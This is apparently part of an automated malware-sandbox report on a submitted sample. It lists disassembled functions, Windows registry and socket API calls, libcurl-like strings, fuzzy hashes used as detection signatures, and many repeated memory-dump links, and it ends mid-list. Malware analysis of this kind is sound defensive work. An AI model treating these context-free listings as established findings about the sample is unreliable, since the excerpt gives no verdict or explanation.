                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID: Sleepconnect
                                  • String ID: cf-socket.c$connect to %s port %u from %s port %d failed: %s$connected$local address %s port %d...$not connected yet
                                  • API String ID: 238548546-879669977
                                  • Opcode ID: 1398665951cccacf69844837912cc5fc4a83ca42556ccbe65fb20ef604f39cfd
                                  • Instruction ID: 332d3414b19cdda49c127204b8bde5231b17bb42c0eeb42c9ae7fe2e6cc7c5a6
                                  • Opcode Fuzzy Hash: 1398665951cccacf69844837912cc5fc4a83ca42556ccbe65fb20ef604f39cfd
                                  • Instruction Fuzzy Hash: 95B1AE70608306AFDB10CF24D985BA7B7E1FF45318F5489BCE8598B292DB71E894C7A1
                                  Function 00AE2F17 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 144registryCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1458 ae2f17-ae2f8c call fb1af0 call fb1ee0 1463 ae31c9-ae31cd 1458->1463 1464 ae31d3-ae31d6 1463->1464 1465 ae2f91-ae2ff4 call ae1619 RegOpenKeyExA 1463->1465 1468 ae2ffa-ae300b 1465->1468 1469 ae31c5 1465->1469 1470 ae315c-ae31ac RegEnumKeyExA 1468->1470 1469->1463 1471 ae31b2-ae31c2 1470->1471 1472 ae3010-ae3083 call ae1619 RegOpenKeyExA 1470->1472 1471->1469 1476 ae314e-ae3152 1472->1476 1477 ae3089-ae30d4 RegQueryValueExA 1472->1477 1476->1470 1478 ae313b-ae314b RegCloseKey 1477->1478 1479 ae30d6-ae3137 call fb1dc0 call fb1e50 call fb1ee0 call fb1cf0 call fb1ee0 call fb0250 1477->1479 1478->1476 1479->1478
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID: EnumOpen
                                  • String ID: d
                                  • API String ID: 3231578192-2564639436
                                  • Opcode ID: 0279c59bc23ebe687c5141448c3bc2d26ba7bb059323a7d503b37114a9285b05
                                  • Instruction ID: 5a253ef10c82375e01a0c0eadd5aebec456a6fad639fd4a9ff74b34acae30416
                                  • Opcode Fuzzy Hash: 0279c59bc23ebe687c5141448c3bc2d26ba7bb059323a7d503b37114a9285b05
                                  • Instruction Fuzzy Hash: B97192B49043199FDB50DF69D98879EBBF0BF84348F10895DE89897301E7749A888F92
                                  Function 00B19290 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 146networkCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1492 b19290-b192ed call ae76a0 1495 b193c3-b193ce 1492->1495 1496 b192f3-b192fb 1492->1496 1505 b193d0-b193e1 1495->1505 1506 b193e5-b19427 call afd090 call b24f40 1495->1506 1497 b19301-b19333 call afd8c0 call afd9a0 1496->1497 1498 b193aa-b193af 1496->1498 1516 b19335-b19364 WSAIoctl 1497->1516 1517 b193a7 1497->1517 1499 b193b5-b193bc 1498->1499 1500 b19456-b19470 1498->1500 1503 b19429-b19431 1499->1503 1504 b193be 1499->1504 1508 b19433-b19437 1503->1508 1509 b19439-b1943f 1503->1509 1504->1500 1505->1499 1510 b193e3 1505->1510 1506->1500 1506->1503 1508->1500 1508->1509 1509->1500 1514 b19441-b19453 call b250a0 1509->1514 1510->1500 1514->1500 1520 b19366-b1936f 1516->1520 1521 b1939b-b193a4 1516->1521 1517->1498 1520->1521 1524 b19371-b19390 setsockopt 1520->1524 1521->1517 1524->1521 1525 b19392-b19395 1524->1525 1525->1521
                                  APIs
                                  • WSAIoctl.WS2_32(?,4004747B,00000000,00000000,?,00000004,?,00000000,00000000), ref: 00B1935D
                                  • setsockopt.WS2_32(?,0000FFFF,00001001,00000000,00000004,?,00000004,?,00000000,00000000), ref: 00B19388
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID: Ioctlsetsockopt
                                  • String ID: Send failure: %s$cf-socket.c$send(len=%zu) -> %d, err=%d
                                  • API String ID: 1903391676-2691795271
                                  • Opcode ID: d26e13960625df1a27a11a715d72c0b47a85c290033bb2400a86a0d0e7461fcf
                                  • Instruction ID: 679587a61904d151c59867c270a3b540bd41d32308a85487ea07ad9383673fc1
                                  • Opcode Fuzzy Hash: d26e13960625df1a27a11a715d72c0b47a85c290033bb2400a86a0d0e7461fcf
                                  • Instruction Fuzzy Hash: 1F510F30600345ABEB15DF24C891FAAB7E5FF89314F548568FD588B382E730E991CB91
                                  Function 00AE76A0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 73networkCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1526 ae76a0-ae76be 1527 ae76e6-ae76f2 send 1526->1527 1528 ae76c0-ae76c7 1526->1528 1530 ae775e-ae7762 1527->1530 1531 ae76f4-ae7709 call ae72a0 1527->1531 1528->1527 1529 ae76c9-ae76d1 1528->1529 1532 ae770b-ae7759 call ae72a0 call aecb20 call e68c50 1529->1532 1533 ae76d3-ae76e4 1529->1533 1531->1530 1532->1530 1533->1531
                                  APIs
                                  • send.WS2_32(multi.c,?,?,?,00AE3D4E,00000000,?,?,00AF07BF), ref: 00AE76EA
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID: send
                                  • String ID: LIMIT %s:%d %s reached memlimit$SEND %s:%d send(%lu) = %ld$multi.c$send
                                  • API String ID: 2809346765-3388739168
                                  • Opcode ID: 0231c7a848f1e4e1618f147d5539bc7abf750b7066ab939fb60bbd31f3249355
                                  • Instruction ID: 951fde48a10ccda78b939fa5e4de5b742141dcc4bb97b3611454f8fdd6d70d8a
                                  • Opcode Fuzzy Hash: 0231c7a848f1e4e1618f147d5539bc7abf750b7066ab939fb60bbd31f3249355
                                  • Instruction Fuzzy Hash: 16113AB0A093857BD130AB1BAC4AD2F7B9DDBC2F68F55091CF84467202D5629D01CBB2
                                  Function 00AE7770 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 73networkCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1645 ae7770-ae778e 1646 ae77b6-ae77c2 recv 1645->1646 1647 ae7790-ae7797 1645->1647 1648 ae782e-ae7832 1646->1648 1649 ae77c4-ae77d9 call ae72a0 1646->1649 1647->1646 1650 ae7799-ae77a1 1647->1650 1649->1648 1652 ae77db-ae7829 call ae72a0 call aecb20 call e68c50 1650->1652 1653 ae77a3-ae77b4 1650->1653 1652->1648 1653->1649
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID: recv
                                  • String ID: LIMIT %s:%d %s reached memlimit$RECV %s:%d recv(%lu) = %ld$recv
                                  • API String ID: 1507349165-640788491
                                  • Opcode ID: 7a4714e3304c6153a4b0ddce47eef64ea77f9636e328826a60c146f9848c1cc1
                                  • Instruction ID: 6b3d9df4a321743ca2527296434c774b0f7b21cde0929b5dcccbd2f0551f3c85
                                  • Opcode Fuzzy Hash: 7a4714e3304c6153a4b0ddce47eef64ea77f9636e328826a60c146f9848c1cc1
                                  • Instruction Fuzzy Hash: DA1127B4A18385BBD1309B16AC4EE2F7B5EDBD6F68F44061CFC4496202D5219C51CAB2
                                  Function 00AE75E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66networkCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1664 ae75e0-ae75ed 1665 ae75ef-ae75f6 1664->1665 1666 ae7607-ae7629 socket 1664->1666 1665->1666 1667 ae75f8-ae75ff 1665->1667 1668 ae763f-ae7642 1666->1668 1669 ae762b-ae763c call ae72a0 1666->1669 1671 ae7643-ae7699 call ae72a0 call aecb20 call e68c50 1667->1671 1672 ae7601-ae7602 1667->1672 1669->1668 1672->1666
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID: socket
                                  • String ID: FD %s:%d socket() = %d$LIMIT %s:%d %s reached memlimit$socket
                                  • API String ID: 98920635-842387772
                                  • Opcode ID: cddabf44d3205513a5436ed8dd8e193011f48a5d445153fb15f0aa24038b6232
                                  • Instruction ID: 1e62118c83cd288bb08e9e81ef6bd3eacc385f27d51160f4cec47081e34b38f6
                                  • Opcode Fuzzy Hash: cddabf44d3205513a5436ed8dd8e193011f48a5d445153fb15f0aa24038b6232
                                  • Instruction Fuzzy Hash: 38114071A0035177D6305B6EBC1AE9F3B4ADFC2B34F041518F8549A252D6128C60C7E2
                                  Function 00BAAA30 Relevance: 6.4, APIs: 4, Instructions: 377networkCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1682 baaa30-baaa64 1684 baaa6a-baaaa7 call b9e730 1682->1684 1685 baab04-baab09 1682->1685 1689 baaaa9-baaabd 1684->1689 1690 baab0e-baab13 1684->1690 1686 baae80-baae89 1685->1686 1691 baab18-baab50 1689->1691 1692 baaabf-baaac7 1689->1692 1693 baae2e 1690->1693 1699 baab58-baab6d 1691->1699 1692->1693 1694 baaacd-baab02 1692->1694 1695 baae30-baae4a call b9ea60 call b9ebf0 1693->1695 1694->1699 1709 baae4c-baae57 1695->1709 1710 baae75-baae7d 1695->1710 1701 baab6f-baab73 1699->1701 1702 baab96-baabab socket 1699->1702 1701->1702 1705 baab75-baab8f 1701->1705 1702->1693 1704 baabb1-baabc5 1702->1704 1707 baabd0-baabed ioctlsocket 1704->1707 1708 baabc7-baabca 1704->1708 1705->1704 1723 baab91 1705->1723 1712 baabef-baac0a 1707->1712 1713 baac10-baac14 1707->1713 1708->1707 1711 baad2e-baad39 1708->1711 1715 baae59-baae5e 1709->1715 1716 baae6e-baae6f 1709->1716 1710->1686 1721 baad3b-baad4c 1711->1721 1722 baad52-baad56 1711->1722 1712->1713 1724 baae29 1712->1724 1719 baac16-baac31 1713->1719 1720 baac37-baac41 1713->1720 1715->1716 1717 baae60-baae6c 1715->1717 1716->1710 1717->1710 1719->1720 1719->1724 1727 baac7a-baac7e 1720->1727 1728 baac43-baac46 1720->1728 1721->1722 1721->1724 1722->1724 1725 baad5c-baad6b 1722->1725 1723->1693 1724->1693 1730 baad70-baad78 1725->1730 1731 baac80-baac9b 1727->1731 1732 baace7-baacfe 1727->1732 1734 baac4c-baac51 1728->1734 1735 baad04-baad08 1728->1735 1737 baad7a-baad7f 1730->1737 1738 baada0-baadb2 connect 1730->1738 1731->1732 1739 baac9d-baacc1 1731->1739 1732->1735 1734->1735 1741 baac57-baac78 1734->1741 1735->1711 1740 baad0a-baad28 setsockopt 1735->1740 1737->1738 1742 baad81-baad99 1737->1742 1744 baadb3-baadcf 1738->1744 1743 baacc6-baacd7 1739->1743 1740->1711 1740->1724 1741->1743 1742->1744 1743->1724 1749 baacdd-baace5 1743->1749 1750 baae8a-baae91 1744->1750 1751 baadd5-baadd8 1744->1751 1749->1732 1749->1735 1750->1695 1752 baadda-baaddf 1751->1752 1753 baade1-baadf1 1751->1753 1752->1730 1752->1753 1754 baae0d-baae12 1753->1754 1755 baadf3-baae07 1753->1755 1756 baae1a-baae1c call baaf70 1754->1756 1757 baae14-baae17 1754->1757 1755->1754 1760 baaea8-baaead 1755->1760 1761 baae21-baae23 1756->1761 1757->1756 1760->1695 1762 baae93-baae9d 1761->1762 1763 baae25-baae27 1761->1763 1764 baaeaf-baaeb1 call b9e760 1762->1764 1765 baae9f-baaea6 call b9e7c0 1762->1765 1763->1695 1768 baaeb6-baaebe 1764->1768 1765->1768 1770 baaf1a-baaf1f 1768->1770 1771 baaec0-baaedb call b9e180 1768->1771 1770->1695 1771->1695 1774 baaee1-baaeec 1771->1774 1775 baaeee-baaeff 1774->1775 1776 baaf02-baaf06 1774->1776 1775->1776 1777 baaf08-baaf0b 1776->1777 1778 baaf0e-baaf15 1776->1778 1777->1778 1778->1686
                                  APIs
                                  • socket.WS2_32(FFFFFFFF,?,00000000), ref: 00BAAB9B
                                  • ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 00BAABE4
                                  • setsockopt.WS2_32(?,00000006,00000001,0000001C,00000004), ref: 00BAAD21
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID: ioctlsocketsetsockoptsocket
                                  • String ID:
                                  • API String ID: 2067140946-0
                                  • Opcode ID: 23dfd72757052ba3fb9cd95bdb2d7c809ef6016d8c4cb6d9045058cd9d9ed455
                                  • Instruction ID: 195d08741c3e6eb7adc4db8f7404b1965bc6d12edb3a6559d28a919c7fff8ef2
                                  • Opcode Fuzzy Hash: 23dfd72757052ba3fb9cd95bdb2d7c809ef6016d8c4cb6d9045058cd9d9ed455
                                  • Instruction Fuzzy Hash: 5FE1D3706083019FEB20CF14C885B6BB7E5FF8A310F144A6DF9999B291E775D944CBA2
                                  Function 00B1A150 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 80COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1947 b1a150-b1a159 1948 b1a250 1947->1948 1949 b1a15f-b1a17b 1947->1949 1950 b1a181-b1a1ce getsockname 1949->1950 1951 b1a249-b1a24f 1949->1951 1952 b1a1d0-b1a1f5 call afd090 1950->1952 1953 b1a1f7-b1a214 call b1ef30 1950->1953 1951->1948 1961 b1a240-b1a246 call b24f40 1952->1961 1953->1951 1957 b1a216-b1a23b call afd090 1953->1957 1957->1961 1961->1951
                                  APIs
                                  • getsockname.WS2_32(?,?,00000080), ref: 00B1A1C7
                                  Strings
                                  • ssloc inet_ntop() failed with errno %d: %s, xrefs: 00B1A23B
                                  • getsockname() failed with errno %d: %s, xrefs: 00B1A1F0
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000013C4000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014D2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000014DB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015B9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015C1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.00000000015D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549602567.00000000015D1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549725231.0000000001790000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549743227.0000000001792000.00000080.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_ae0000_Hqle5OSmLQ.jbxd
                                  Similarity
                                  • API ID: getsockname
                                  • String ID: getsockname() failed with errno %d: %s$ssloc inet_ntop() failed with errno %d: %s
                                  • API String ID: 3358416759-2605427207
                                  • Opcode ID: eb8b8a520691a9f834277015678a4d923fbb978809aaa30d7e0372949d9d4906
                                  • Instruction ID: 7b76b1162f52a50aeae833560c54dcfd53502723ee60f538b51430bfabdef84d
                                  • Opcode Fuzzy Hash: eb8b8a520691a9f834277015678a4d923fbb978809aaa30d7e0372949d9d4906
                                  • Instruction Fuzzy Hash: 8421D831808684BAF6269B19EC46FF773BCEF91328F040654F99853151FF32698587E2
                                  Function 00AFD5E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46networkCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1967 afd5e0-afd5ee 1968 afd652-afd662 WSAStartup 1967->1968 1969 afd5f0-afd604 call afd690 1967->1969 1970 afd664-afd66f 1968->1970 1971 afd670-afd676 1968->1971 1975 afd61b-afd651 call b07620 1969->1975 1976 afd606-afd614 1969->1976 1971->1969 1973 afd67c-afd68d 1971->1973 1976->1975 1981 afd616 1976->1981 1981->1975
                                  APIs
                                  • WSAStartup.WS2_32(00000202), ref: 00AFD65B
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1548532097.0000000000AE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true
                                  • Associated: 00000000.00000002.1548499174.0000000000AE0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.00000000010C0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001226000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1548532097.0000000001228000.00000040.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549251758.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1549272640.000000000122D000.00000040.00000001.01000000.00000003.sdmpDownload File
